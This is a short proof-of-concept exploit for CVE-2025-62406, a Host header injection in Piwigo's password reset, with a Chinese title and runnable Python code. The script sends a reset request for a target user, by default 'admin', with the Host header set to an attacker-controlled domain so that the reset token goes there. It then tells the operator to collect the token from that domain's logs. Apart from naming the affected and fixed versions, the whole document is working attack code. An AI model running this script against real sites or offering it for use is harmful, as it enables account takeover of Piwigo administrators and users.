CVE-2025-62406 Piwigo 15.6.0 密码重置Host头注入漏洞

import requests # CVE-2025-62406 PoC - Piwigo Host Header Injection in Password Reset # Affected Version: Piwigo <= 15.6.0 # Fixed Version: Piwigo 15.7.0 def exploit_host_header_injection(target_url, username, attacker_domain): """ Exploit for Host Header Injection in Piwigo password reset function. Args: target_url: Target Piwigo installation URL username: Target user username or email attacker_domain: Attacker's controlled domain to receive reset tokens Returns: Response object from the password reset request """ password_reset_endpoint = f"{target_url}/password_reset.php" headers = { 'Host': attacker_domain, 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) PoC Exploit', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Content-Type': 'application/x-www-form-urlencoded' } payload = { 'username': username } print(f"[*] Sending password reset request for user: {username}") print(f"[*] Injected Host header: {attacker_domain}") try: response = requests.post( password_reset_endpoint, headers=headers, data=payload, timeout=30, allow_redirects=False ) print(f"[*] Response Status: {response.status_code}") print(f"[*] Check {attacker_domain} logs for incoming password reset token requests") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": TARGET = "http://vulnerable-piwigo-site.com" ATTACKER_DOMAIN = "attacker-controlled-domain.com" TARGET_USER = "admin" exploit_host_header_injection(TARGET, TARGET_USER, ATTACKER_DOMAIN)